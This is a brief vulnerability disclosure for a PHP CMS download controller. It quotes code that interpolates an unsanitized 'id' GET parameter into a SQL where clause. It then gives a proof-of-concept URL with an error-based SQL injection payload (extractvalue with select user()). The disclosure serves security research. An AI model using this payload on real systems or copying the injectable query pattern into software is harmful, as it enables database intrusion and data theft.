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\App\Manage\Controller\DownloadController.class.php line: 18 - 21 public function index(){ //查询指定id的栏目信息 $id=I('get.id');//类别ID $topcate=M('Column')->where("id=$id")->order('column_sort')->select();
POC: http://127.0.0.1/index.php/Download/Index/Column?id=1%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))